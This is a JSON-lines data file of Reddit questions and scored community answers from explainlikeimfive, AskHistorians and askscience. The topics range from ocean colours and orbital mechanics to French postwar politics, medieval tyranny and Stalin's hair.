{"q_id": "4r8zfs", "title": "this image of the atlantic ocean meeting the indian ocean.", "selftext": "_URL_0_\n\nWhy does the water look differently?\n\nWhat is happening at the point of them meeting?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4r8zfs/eli5_this_image_of_the_atlantic_ocean_meeting_the/", "answers": {"a_id": ["d4z6c88", "d4za4l7", "d4zbuk6"], "score": [42, 2, 8], "text": ["You are talking about Cape Agulhas.\n\nThe different colors come from different kinds of plankton living in the water. While it's true that pure water gets its color from refracting light, the ocean is not at all pure. Plankton living in the water has a major effect on the color of the ocean. The Indian and Atlantic Oceans have different temperatures and different concentrations of salt, so different kinds of plankton live in them. Different kinds of plankton reflect different colors, so when you look at the ocean from the shore you see different colors in the water. \n\nThe bands and pockets of color appear because the oceans don't mix evenly. The uneven mixture is caused by a current called the Agulhas Retroflection.", "Which one is the Atlantic?", "[This site, which has additional photos, says it's the Gulf of Alaska and that the difference occurs because of the difference in salinity (and therefore density) of the two bodies of water which keeps them from mixing.](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/MEHrEkn.jpg"], "answers_urls": [[], [], ["http://www.lateet.com/gulf-alaska-two-oceans-meet-not-mix/"]]}
{"q_id": "3k4m3z", "title": "Why was France so unstable throughout the 1950s/early 1960s? (Attempted coups, change of constitution, withdraw from NATO, communist riots)", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3k4m3z/why_was_france_so_unstable_throughout_the/", "answers": {"a_id": ["cuv0w3e"], "score": [78], "text": ["There are a couple of things that happened, but mainly there's one thing, the rise of colonial rebellion.\n\nDuring WW2, France fell and resulted in one terrible thing, Free France was fighting for France and left the colonies to their own devices. These colonial holdings generally fought with the Allies (with North Africa siding with Vichy due to proximity and German invasion later on to support the Italians). With Free France fighting the Axis, the colonial holdings got used to being left alone. Combined with this, France was giving fuel to anti-French forces within these colonies due to neglect and long building anti-French sentiment building from the turn of the 20th century.\n\nWith France liberated, the focus was on the White French that fought over the years, pushing aside the many non-white soldiers that fought and bled over the years. Charles de Gaulle even told General Leclerc to find more white soldiers since many of his soldiers were from Central and North Africa. Naturally this would also alienate many of those soldiers that were suddenly finding themselves as inferior to the few white French that fought with them, something General Leclerc voiced.\n\nSo, with France secure, the French wanted to return back to normal but as usual that wouldn't happen. Many of the colonies had been pushing France away, including major players like French Indochina and Algeria in the early to mid fifties. In the attempt of trying to neutralize these threats, the wars would turn against France and cause the public opinion to change against them in favor of independence, leading to a Constitutional Crisis that stems from the Algerian crisis.\n\nWith a new Constitution led by Charles de Gaulle, France would politically settle in respect to their governmental position, but this doesn't mean that France is done. De Gaulle wanted to return France into a major world power. This would lead to many things, such as a strong military (which is still one of the premier forces in Europe and a major arms dealer in the world), a strong focus on atomic power to ensure no fuel dependency (as France has a high number of nuclear power plants), and a strong political position in the new Post-War/Post Independence Crisis Europe. All of these are major tenants of Gaullism that would become a major political ideology within France that was neither truly left or right. De Gaulle was more conservative but still asserted republican ideology within France and a unified ideal of France that is more patriotic than ideological.\n\nThis focus on a strong, unified, and powerful France would of course have problems with many other groups. France \"left\" NATO but only because of the American command structure that effectively had America as the leader of NATO. De Gaulle didn't like that and an American focus on equipment so France effectively pulled out of NATO, but never truly did as they made agreements with NATO to support NATO if there was any attack made by the Soviets.\n\nThe 20th Century wasn't the kindest to France. France hadn't industrialized as quickly as the rest of Europe and lost the population advantage they had during the early 19th century. Combined with the extreme loss of life during the First World War and the general ineffective interwar government made France ripe to be easily defeated during the Second World War. However France would recover thanks to de Gaulle.\n\nEdit: Forgot Sources\n\n*Free France's Lion: The Life of Philippe Leclerc, de Gaulle's Greatest General* by William Moore.\n\n*France and the French: A Modern History* by Rod Kedward"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8hpzm5", "title": "why are law enforcement officers not forced to carry individual professional liability insurance, with rates dependent on past performance, like other public professionals? (i.e lawyers, accountants, doctors)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8hpzm5/eli5_why_are_law_enforcement_officers_not_forced/", "answers": {"a_id": ["dylpijt", "dylq4hb", "dylt17l"], "score": [19, 5, 12], "text": ["The short, cynical answer is that police unions don't want that, and police unions are powerful.", "Unlike the other professionals you mention, police work for the state, and thus far that liability has been assumed by the state.\n\nHowever, with unions that make it very difficult to fire bad cops, many people have are not happy the taxpayers have to pick up the slack.  The city of St. Paul seriously considered requiring police to carry liability insurance, and the idea has been bandied about elsewhere.", "The short answer would be that individual police officers aren't individually liable in most circumstances.  You can't sue them individually (well, you can, but it will be quickly thrown out).  Exceptions may apply in some limited situations.\n\nBasically, a police officer is an agent of the state, unlike a doctor or lawyer. As such, what they do is basically covered by the state.\n\nLots of people think that this is a bad idea, and that officers should be individually liable.  But the risks here are real.  A rich person may freely sue every officer that interacts with him, and \"out-lawyer\" them, eventually ensuring that no police officer will mess with them.  If you sue a department, the department has access to a much larger budget, oftentimes it's own legal staff, a large group insurance across many agencies, and at the end of the day the taxpayer. An individual officer has only access to his own paycheck, which are generally far more modest than those of lawyers and doctors. \n\nWhile protections for police officers and other often get a bad rap, and they often get a bad rap for good reasons, getting rid of the those protections also risks a return to the days when police weren't professionals, but rather jobs handed out to cronies and political supporters of elected officials, who may also become that elected officials private army.  That's bad.  Police officers require some degree of insulation from the fact that 99% of the people they talk to aren't happy to see them. \n\nDo some police officers abuse their limited liability?  Certainly.  But the solution is to remove those officers, not to destroy the system because of a few bad eggs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "69t147", "title": "with basic medical knowledge and basic supplies, how safe is the average childbirth?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/69t147/eli5_with_basic_medical_knowledge_and_basic/", "answers": {"a_id": ["dh94frl"], "score": [5], "text": ["Globally, a woman has about a 1 in 500 chance of dying.\n\n >  As women have gained access to family planning and skilled birth attendance with backup emergency obstetric care, the global maternal mortality ratio has fallen from 380 maternal deaths per 100,000 live births in 1990 to 210 deaths per 100,000 live births in 2013, and many countries halved their maternal death rates in the last 10 years.\n\n[source](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Maternal_death"]]}
{"q_id": "4v4zl6", "title": "what are the economic reasons for why western governments bring in immigrants?", "selftext": "Sometimes I see that 30%-40% of a country's citizens wouldn't want immigrants (especially visible minorities), yet the governments always push for immigration (even the rightist governments like angela merkel).\n\nWhat is the economic reason for why bringing in immigrants is so crucial?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4v4zl6/eli5what_are_the_economic_reasons_for_why_western/", "answers": {"a_id": ["d5vj3vr", "d5vjd6i", "d5vjfa2", "d5vlj1j", "d5vp9q7", "d5vpa9r", "d5vr8ak"], "score": [4, 12, 2, 2, 2, 4, 2], "text": ["More people to make goods and services plus more people to buy things equals a bigger economy. The negative part is that people don't like having to adjust to new cultures, ethnicities, and languages. Plus some people lose their jobs in the short term. But in the long term, immigration means more money for everyone.", "Assuming we ignore the moral reasons, the economic reasons that I know of off hand are:\n\n1) Countries today compete for the \"best immigrants\".  These are immigrants who are well educated, often wealthy, and able to offer benefits to the host country such as skills, training, the means to start and run businesses, or an injection of cash into the local economy.  There is a truth to this.  However, the corollary to this is that these immigrants have no economic incentive to be loyal to the host country (which can pose other problems).\n\n2) Most western countries are currently not producing enough children to maintain current populations.  Therefore, more immigrants are beneficial because they prevent population decline.  (This is a strong argument for why small-scale immigration is beneficial to maintain population levels)\n\n3) Immigrants are often willing to do jobs that the host country's citizens do not want to do because they are either degrading, pay too little, or have some undesirable quality to them.  This is evident, for example, in the United States where Mexican immigration has become a major focus.  However, wage deflation is a major issue that is extremely problematic when you consider the fact that more people equals more competition which leads to decreased wages.  That being said, those that run businesses may actually want wage deflation, so this could be a benefit for those paying their employees.\n\nAnybody who has anything to add please do! I am just doing this off the top of my head.", "Many European countries have low birth-rates while people are also living longer. This means that not enough young people are joining the workforce to earn and pay taxes to pay for the rising costs of supporting more old people with pensions and healthcare. Immigrants from other, poorer European countries and non-European countries are needed to help grow the economy to help pay for increasing social care costs for the elderly. ", "One reason is the fact that in accepting economic migrants from a poorer neighboring country, the wealthier nation is serving as a sort of pressure cooker relief valve against a failed state on its border -- a huge economic disaster in the case of say, the US and Mexico (especially if its brutal drug wars expand into the larger population).", "They don't bring in immigrants, the immigrants came here because their country is currently uninhabitable bacause of war. They only say it's not nice to kick them out while they have nowhere to go. Most of them will probably go back home once the war is over.", "If you mean the refugees, then granting asylum to those who need it is a legal obligation under the Geneva convention on refugees, to which every western country I can think of has committed themselves to a long time ago. It's not a choice, it's a legally binding requirement.", "First of all, in Angela Merkel's case we're not talking about immigrants, we're talking about refugees. It's an important distinction. International law and, you know, your conscience require that they not be turned away. \n\nAs for the actual question of immigrants,\n\n- They're cheap labor\n- Turning them back would increase unemployment in their home countries, which generally inspires resentment in the home countries' governments. \n- Many European countries these days have very low birth rates, which means that their populations are aging. As the population ages, there will be fewer tax-paying workers to pay for the pensions of retirees. Letting in immigrants, who are generally young and generally have higher birthrates, alleviates the problem. \n- They're going to come one way or the other. If you make it harder for them to get in to the country, they'll pay human traffickers to take them in. If they can't pay back the human traffickers, they'll resort to stealing and drug dealing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1rki06", "title": "Is there an academic consensus about the role of the church in spreading literacy across Europe ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rki06/is_there_an_academic_consensus_about_the_role_of/", "answers": {"a_id": ["cdoj79z"], "score": [3], "text": ["Academics are not prone to consensus on such topics.\n\nThe Catholic church encouraged literacy among its monastics and clergy, but did not seem to be particularly active in spreading literacy across the lay people of Europe.\n\nProtestant churches, because they translated the Bible into local languages, instead of using Latin, and because they encouraged lay people to read the Bible themselves, did more to encourage the spread of literacy across Europe.\n\nThat influence, plus the greater availability of Books after the development of movable type and the printing press, encouraged the spread of the ability to read (which is half of literacy).\n\nBeing able to write, was slower to spread than being able to read.  As late as 1841, 33% of men in England, and 44% of women signed marriage certificates with their \"marks\" rather than with their names.\n\nSource:  _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Literacy"]]}
{"q_id": "grpcs", "title": "What is the volume of a fermion?", "selftext": "If a tau has a mass of 1,776.84\u00b10.17 MeV/c2, then it must occupy some amount of space; however, I haven't been able to find any thing about the volume of fermions or any other elementary particles...am I missing something obvious?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/grpcs/what_is_the_volume_of_a_fermion/", "answers": {"a_id": ["c1prx0j", "c1prxw2", "c1psh7k", "c1pt0v5"], "score": [5, 3, 4, 2], "text": ["Mass says nothing about volume, it can indeed be a heavy point particle.", "Things that small don't really exist in the sense that you're thinking. They don't have a definite location or extent. They're defined entirely by how they interact. So it's not so much that particles don't have volume, though that's not an unreasonable thing to say. It's just that it's no more meaningful to ask what volume a particle occupies than it is to ask what one tastes like. The concept simply doesn't apply.", "But what is volume really? ;) \n\nLet me use a little example. How can you tell the volume of the desk you're sitting at? Well, you can try waving your arms in it's proximity. In some places your hands will go easily, but in some you will feel resistance. Then, based on this interaction, you can conclude where the desk you've been looking for is. Also, people will be looking at you weirdly and your hands will hurt.\n\nAnyway, here you don't have to worry about the low-level particle interaction stuff, because they are extremely short-ranged compared to the size of the desk and completely unmeasurable by people without really expensive equipment. They still exist, but using a ruler you can calculate what we call *volume* - with rather satisfying level of accuracy.\n\nHowever when we go down to the scale of a single elementary particle, we can't really poke it with a stick. We can send another particle it's way and see what happens. Then, based on this observation, you can formulate the law by which this particle interacts. The test particle can for example change it's course, but it will never \"bounce off\" and go in the opposite direction (like it would if it hit a desk). Therefore we can not talk about the the size of a particle. We should rather picture it as a \"cloud of interacting force\" (that's a stupid expression, I know), that's affecting the world around it with strength that is getting weaker as the distance from the particle increases. \n\nAlso, remember that all this stuff is ruled by quantum mechanics, so there is always some probability involved - specifically \nwe cannot say, that a particle is in a certain place, we can only talk about the probability of it being there. \n\nSo, why do macroscopic objects have volume? Because various forces of interaction hold these \"clouds\" together and the [Pauli exclusion principle](_URL_0_) doesn't let them be in the same place at once, so they have to form 3D structures. The same effects cause our hands to hurt when we hit a desk while waving them around. It's just a repulsion force exerted \"at a distance\". Basically the same thing as trying to put two magnets together facing the same pole (? not sure how to put that in English... it's late here...), but on a much smaller scale.\n\n**tl;dr**: Volume is a lie. Don't think of elementary particles as of balls that take up space. Think of them only as of their interactions.\n\nNow, if some real physicist reads this and finds that it's a load of bollocks (as I said, it's late...), please feel free to slap me across the face and show me my place. Thanks in advance.", "Keeping in mind that particles don't have a true size (see discussions elsewhere on this page), there were outdated ideas about the size of electrons.  The classical electron radius is equal to 2.8 x 10^-15 m, giving a \"classical electron volume\" of 9.2 x 10^-44 m^3.\n\nFor an electron,  \nr_e = e^2 / ( 4 pi epsilon_0 m_e c^2 ) = 2.8 x 10^-15 m.  \nBy analogy, the classical tau lepton radius would be   \nr_tau = e^2 / ( 4 pi epsilon_0 m_tau c^2 ) = 8.1 x 10^-19 m,  \ngiving a classical tau lepton radius of 2.2 x 10^-54 m^3.\n\nAgain, this is all wrong, but it's the closest answer I can give you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Pauli_exclusion_principle"], []]}
{"q_id": "7twzi6", "title": "why is the outcome different each time for games that drop balls onto pegs into different sections. for example plinko from the price is right or the wall on nbc. if the ball is dropped from the same place, wouldn't it end up the same place as well?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7twzi6/eli5_why_is_the_outcome_different_each_time_for/", "answers": {"a_id": ["dtfuv3c", "dtfuw2f"], "score": [2, 2], "text": ["To us it looks like it's from the same place, but just a slightly different angle or even a few millimeters of difference can change the outcome, as well as the velocity, which probably varies a lot each time as well", " >  If the ball is dropped from the same place, wouldn't it end up the same place as well?\n\nIn theory if it was dropped from exactly the same place and into exactly the same setup of pegs it should end up in the same location. But this is an example of a system where even the tiniest change can result in huge differences in the end results. Where and how the ball is dropped is different in a minuscule way which completely changes its path through the machine. Even the machine itself might be changing slightly, such as a breeze slightly cooling some pegs which alters where a ball hitting them would rebound to.\n\nEven though the changes aren't visible to the eye they exist."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "243qir", "title": "Why are naturally occurring polar orbits so rare/nonexistent?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/243qir/why_are_naturally_occurring_polar_orbits_so/", "answers": {"a_id": ["ch3ctpv", "ch3mzz7", "ch3qvb3"], "score": [8, 4, 2], "text": ["Because of the way the solar system formed.\n\nThe solar system began as a cloud of gas, and eventually through some disturbance, it began to rotate. Once it starts rotating, it starts to flatten out due to gravity, creating a disk.\n\nThis disk (from which the solar system formed) is the reason why all planets are more or less in the ecliptic - they formed there, and is why there are no large bodies in polar orbits.\n\nNow, when you get further out, the Oort cloud is a sphere, not a disk, composed of small icy bodies flung far out by the giant planets. There would be plenty of near polar orbits there.", "No orbit is completely stable. Because planets rotate, they're not entirely spherical but bulge out at the middle. The non-central force of that bulge will tend to shift the orbit of any satellite to align with the equator of the central body over a long period of time.\n\nThere's another effect too: the influence of other bodies around the central body will tend to circularize the orbit. That is why most of the planets of the solar system have a very low eccentricity.", "One further note to xomm's answer: it's possible that objects could have formed in the disk of the solar system, but then been scattered into a polar orbit due to gravitational interactions with other planets.  The reason we see no such orbits is because they are unstable due to the [Kozai-Lidov effect](_URL_0_).  At high inclinations, perturbations on these orbits due to the influence of Jupiter will cause their eccentricity to increase to ~1.  As a consequence of this, they will cross the orbits of other planets and be scattered out of the Solar System or even crash into the Sun. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Kozai_mechanism"]]}
{"q_id": "4ydo5b", "title": "Were there ever European contemporaries who were concerned they might find a more advanced civilisation during the Age of Exploration?", "selftext": "Were there people who genuinely believed they might encounter a civilisation more advanced than European ones after exploration and colonisation started in the 16th century, and posed it as a threat by which Europeans should perhaps not even discover further?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ydo5b/were_there_ever_european_contemporaries_who_were/", "answers": {"a_id": ["d6neaod"], "score": [267], "text": ["Did Europeans at that point even have a notion of technological advancement?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21iwx5", "title": "Let's say the oceans evaporated and we tried to walk on the ocean floor. Would we be able to?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21iwx5/lets_say_the_oceans_evaporated_and_we_tried_to/", "answers": {"a_id": ["cgdiv0k", "cgdixji", "cgdj1rm", "cgdjehz", "cgdjet6", "cgdkogq", "cgdlpb1", "cgdn7ye", "cgdnitj"], "score": [28, 40, 79, 630, 23, 11, 2, 2, 2], "text": ["I am an Earth Science student. There would be the same amount of air as before with just about the same amount of gravity. The average ocean depth is 4km. This means that the air pressure where you are now would be the same as the air pressure 4km in the air (4000m, high mountains) and the air pressure at the bottom of the ocean would be the same as it is at sea level right now, depending on where you were in the ocean, give or take. At the bottom of the deepest trenches the pressure would be much higher  (about double). That's the same pressure as 10m down in a pool. Divers frequently breath air at thirty times that pressure, so yeah. Nbd (pressure is a function of how much air there is from wherever the ground is to the top of the atmosphere)", "For a while in most areas, especially coastal regions, you wouldn't be able to trudge through the large newly deposit layer of everything in the oceans besides water such as minerals, pollution, microorganisms, fish etc. In deep regions the salt deposits alone might be substantial. Would you call walking on that the ocean floor? I imagine bird and scavenger populations of all types would skyrocket, and I'd recommend bringing some nose plugs", "Depends on where in the ocean you are. Atmospheric issues aside, much of the sea floor is meters thick mud made mostly out of decayed ocean life, and it would REEK. Other parts are rocky, and so would be walkable.", "I actually have experience walking on the bottom of reservoirs that were underwater for 100 years and can add one factor to this conversation (not to do with oxygen).  I can say with some surety that you would need breathing protection, as the sediments are very fine and would become airborn very easily from walking.  As the ocean evaporated, the bottom would be ridiculously salty - so no plants would grow to cover the dust.  Also the walking would be treacherous in the near term due to the desiccation cracking that would happen on the surface (think of the cracking in the mud when a puddle dries).  The sediments that I have walked on were probably 10 feet deep, and the cracks were 3-6 inches wide.  Ocean sediments can be hundreds of feet thick - although in some places they are pretty solid.  \nAnyway- just another line of thinking about the same question.", "The deepest part of the ocean, the Mariana trench is about 10km deep.  Using the [barometric formula](_URL_0_), this would result in an pressure of about 3 atmospheres.\n\n3 atmospheres is the equivalent of being about 20 m underwater.  You can breathe compressed air at that depth without a problem.  \n\nIf you were talking about twice as deep (the Mariana trench were 20 km deep), you would have a problem breathing air.", "The earth wouldn't tilt off it's axis, or stop spinning. The air pressure would be greater, due to the larger column of air above you, this is assuming that the volume of air increases to fill the space the oceans vacated. Which may be the case since there would be an ocean's worth of water vapor now in the atmosphere.\nNow it gets messy. In our imaginary fantasy, if only the water above the ocean floor vanished, it would be quite difficult in most places to walk. The sediments covering the deep ocean plains are a combination of dead bacteria and other animals, as well as very fine clay particles, relative proportions of which would vary depending how close you are to a continent. If there were still any water in these sediments, they would be quite slippery and difficult to manage. If we are talking about a process that happens on geologic time scales getting rid of the water, then the ocean plains would slowly dry out and compact under their own weight. Terrestrial plans an animals would colonize the newly available area as the oceans dried up. In this scenario, walking in the deep oceans would be quite easy. There would be mountain ranges to contend with as the undersea topography is far from flat and in many ways offers more relief than is found above water. \n\nWhat I'm not sure about is how the human body would be able to cope with the greater air pressure which would be about double that at sea level. According to this NASA chart, _URL_0_, surviving at a a pressure double that found at sea level, with the same oxygen concentration should be fine. \n\ntl; dr walking would be sticky and messy depending on the time scale of the water removal process, breathing would be fine.", "Would the terrain in the deeper parts of the ocean be stronger or weaker after the water is gone. The formations have been sitting under and shaped by immense pressure for all this time, after the water was gone (or going) would the pressure drop create earthquakes? I imagine weaker formations would break and crumble into the trenches and fill in the gaps.", "Aside from issues pointed out by others such as the depth of sediments and breathing problems with so much salt and dust in the air, simply walking even on hard and rock-comprised terrain would be difficult. Unlike the surface of the Earth where both wind and rock work together to largely flatten certain areas, the ocean floor is incredibly diverse in terrain even within a small region. \n\nSure you have areas where it's just flat sand - but those aren't going to be areas of interest we want to explore. The places we do want to explore would very likely have had a lot of geologic activity, since we could learn a lot from directly sampling and observing those areas. There will be cliffs, huge ditches and rocky obstacles, mountains, and all manner of terrain that would make the hike difficult, and that is *without* the added weight of equipment, breathing apparatuses and so on.  \n\nYou also have to consider that a lot of molten geological activity is somewhat tamed or tempered by the ocean cooling and pressure. Without all that water and pressure, the activity could well be much more violent, making any exploration much more dangerous. ", " >  I'm sure if the oceans evaporated, it would result in the Earth tilting off it's axis or stop spinning or something equally as catastrophic. \n\nActually, I'm curious now. What would happen if an alien race came by and sucked all of the water from the oceans  into their space ship for whatever reason. \n\nWhat would happen to the earth? Would the earth still support life?\n\nedit- better this way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://hyperphysics.phy-astr.gsu.edu/hbase/kinetic/barfor.html"], ["http://www.hq.nasa.gov/pao/History/conghand/fig15d3.gif"], [], [], []]}
{"q_id": "1tw39q", "title": "if an other earth existed, identical in every physical way to our planet, however is located in a different part of the universe, would humans eventually evolve on the other earth?", "selftext": "Yo.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tw39q/eli5_if_an_other_earth_existed_identical_in_every/", "answers": {"a_id": ["cec0j09", "cec0k20", "cec3vwb", "cec51mq"], "score": [20, 9, 2, 2], "text": ["No. The series of biological events leading to the existence of humans is an accumulation of VERY unlikely individual events. The reason we have ended up the way we have is not because there is something inherent in the geology of the earth that has driven us toward this outcome. We simply represent one of many possible solutions to a particular problem.\n\nFor comparison, consider the marsupial mammals of australia and the placental mammals of africa. These environments are very similar and in each environment, there are categories of animals that have evolved to exploit particular niches. For example, there is a niche for living underground and eating worms. Thus the mole and the marsupial mole. Not closely related at all, but they have many common features such as very large front claws, because they are solving similar problems. For a more disparate example, consider the niche for large grazing animals. Africa spawned antelopes, etc; Australia spawned kangaroos. Not remotely similar or closely related.\n\nIt is possible that an earth-like planet could come to contain life forms that occupy the human niche, but they are very unlikely to solve their problems in the same ways.", "At some level, this is a philosophical question, but I think most biologists would say \"No.\"  Even if everything (including weather, geography, etc...) was exactly the same, there's a lot of chance involved in evolution.  Like the weather, it is a chaotic system, and the slightest factors can have far reaching complications.  Because the genetic mutation required for evolution (as we talk about it) is based on chance, it would be nearly impossible for things to play out on New Earth like they did on the original.", "No, just imagine how different life on earth would be without a giant meteor killing all dinossaurs and 99% of life on earth, or without any of the previous mass extinctions. There are random events that can't be controlled or predicted. The most correct answer would be: They might evolve, but it's a very slim chance, something close to impossible, most likely they won't", "Almost certainly *something* was going to evolve on Earth. Humans are a random shot... even intelligent beings on the other planet would almost certainly be nothing like us.\n\nAnd when we're gone, as long as we didn't ravage the Earth beyond repair, Earth's not done: it'll evolve something else. Maybe even something else intelligent. But there's no reason to assume it'd have any resemblance to us."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "e6db5d", "title": "Medieval and Renaissance writers warn of the danger of tyrants and tyranny, yet by our standards their monarchies would be tyrannical. What was tyranny to a medieval philosopher?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e6db5d/medieval_and_renaissance_writers_warn_of_the/", "answers": {"a_id": ["f9pr2th"], "score": [157], "text": ["Hello there ! \n\nThat perception of things comes from common misconceptions.\n\nFirst of all, the sense of the word tyrant have evolved since medieval times. It originates from Greek and originally meant someone that came to power out of legitimate ways, such as succession or election. With time it acquired the idea of absolute power and, finally, of oppression. Yet the Greeks, in general, did not see tyrants as necessarily \"evil\". It was, rather, one form of government, although probably not the best even by their standards. It is only with time that the word tyrant acquired its meaning of oppressing, dictatorial rule.\n\nThat is important, because medieval and Renaissance philosopher, surrounded and very fond of classical authors, may very well refer to the classical sense of tyranny. \n\nNow, if you apply that prism to their discourse, you will see that it generally does not aim at kings, for they came to power *via* legitimate ways (in this case, succession). Therefore, they are not \"textbook\" tyrants, for the lack one key component : illegitimacy.\n\nNow for the second misconception, I'll send you [here](_URL_0_), to an answer I've already written on the subject. The general idea, though, is that medieval kings would likely not really be considered tyrants, even by our modern standards. Their power was far less absolute than what we like to imagine and they had to deal with many counter-powers : nobility, administration, Church, deputies of the bourgeoisie, ... That would of course differ from one place to another, so keep in mind I'm speaking mostly about medieval France here.\n\nOne key element of the tyrant classical definition that we overlooked earlier is the idea that the tyrant, although he doesn't abolish laws, keeps himself above them. They do not really apply to him. That is NOT the case for French king (and English king were rather less absolute rulers). Laws, customs, rights and local specificity were to be respected, even by the king. \n\nI'll give you an example, too. In early XVth century France, the king Charles VI is stricken by madness. He has prolonged periods of delirium and depression, with short remission periods in between. Therefore, the kingdom is ruled by his \"private council\" : top nobles and administrators. In this council, two men oppose each other. Louis d'Orl\u00e9ans, the king's brother, and Jean de Bourgogne, the king's cousin. They are the two wealthiest and most powerful lords of France at the time. \n\nSince the king is not dead and his very person is sacred, he can not be removed from office, and no regent can be appointed. Therefore, he who controls the council controls the kingdom, and specifically the lucrative pensions that can be generously granted to himself. \n\nAt the beginning, the scales weighs in favor of Louis d'Orl\u00e9ans, who manages to assert his control on the council. Civil war is avoided in 1405, but the tension remains extreme.\n\nIn 1407, Louis d'Orl\u00e9ans is assassinated in a trap in the middle of Paris. The assassins are tracked back to the house of the Jean de Bourgogne, who rides out of the capital in haste.\n\nHe is summoned by the council and the king to be judged, and he finally comes. But with him is Jean Petit, a theologian from the Sorbonne. Jean Petit has redacted an \"Apology of tyrannicide\". In this speech, he explains that indeed Louis d'Orl\u00e9ans was a tyrant, considering himself above the laws, acting against the will of the king, favoring his own interest rather than the people's and generally trying to gather absolute power. Therefore, he concludes, he who had the tyrant slain is a hero. That, of course, scandalizes the nobility, because Jean de Bourgogne had his own cousin murdered and he confesses it **proudly**, yet it shows you the differences between our \"modern tyrants\" and what medieval philosophers would call a tyrant (since Jean Petit used their definition of tyranny).\n\n & #x200B;\n\nI hope that answered your question !\n\nI did provide some references in the linked post, but if you need I think I could provide some on this specific topic. Just let me know."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/d8kdr0/how_absolute_was_the_reign_of_kings_during_the/"]]}
{"q_id": "7xzlko", "title": "What hair care products would Joseph Stalin have used?", "selftext": "Every once in a while people will bring up [this picture of a young Joseph Stalin](_URL_0_) and remark on his looks and hair (here are some examples I found quickly: [1](_URL_1_), [2](_URL_2_)). While it's probably questionable taste, at the very least, to joke about a brutal dictator's looks, it did make me wonder what the reality was. I'm assuming no one has detailed records of Stalin's personal hair care, but what might a young Georgian man in the early 1900s have done to care for and style his hair, if anything?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7xzlko/what_hair_care_products_would_joseph_stalin_have/", "answers": {"a_id": ["dufgosw"], "score": [23], "text": ["In the 10 years before the revolution Stalin was only \u2018free\u2019 for a total of just over a year, the rest of the time he was imprisoned or exiled. In Robert Service\u2019s biography he\u2019s described as arriving to exile with only a small bag carrying some bed sheets and a spare change of clothes. At one point he arrives in Siberia without even a winter coat so I cant imagine he had any special hair care products. \n\nIn his last exile before the revolution, near the arctic circle, there is letters from him to other communists and his mother begging for any amount of money or clothes because he has no food, is sick and feels like he is going to fade away into nothing.  So it seems to me he would have too many other worrys just surviving to bother much with his hair. I think its just great genetics.  \n\nIn the book Young Stalin by Simon Montifieore he writes about how whenever Stalin arrived in a new town he had no trouble attracting girlfriends, which was strange because he was extremely short, thin with a scarred face and deformed arm and no money or possessions. The only thing he had going for him was his hair... proof that wonderful hair can help you overcome all kinds of problems."]}, "title_urls": [], "selftext_urls": ["https://i.redd.it/gtlyshrkn9bx.jpg", "https://www.reddit.com/r/OldSchoolCool/comments/4ufkks/hot_young_hipster_joseph_stalin_1902/", "https://www.reddit.com/r/malehairadvice/comments/ueu5b/i_want_my_hair_to_be_like_young_stalins_how_can_i/"], "answers_urls": [[]]}
{"q_id": "2vgdut", "title": "since nose hairs act as a filter for germs and bacteria, when you trim your nose hairs are you more susceptible to illnesses?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vgdut/eli5_since_nose_hairs_act_as_a_filter_for_germs/", "answers": {"a_id": ["cohfojf", "cohgfmn", "cohgitj"], "score": [12, 436, 45], "text": ["The hairs are a filter for particulate, not so much bacteria. I would assume that the main respiratory defense against such invaders is the mucosal lining of the respiratory tract. Bacteria get immobilized in it, and the immune system devours the helpless chaps. ", "The relatively large hairs in the nose don't do much for bacteria and viruses. The large ones might be helpful for dust etc. but I'm not 100% on that. The 'hairs' that are important for protection against bacteria and viruses are the microscopic hairs (cilia), which line the rest of the respiratory tract. Smoking and other conditions that destroy the microscopic cilia certainly do contribute to a susceptibility to colds, bronchitis, etc.", "Follow up question: Wouldn't booger eaters get sick just as often?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
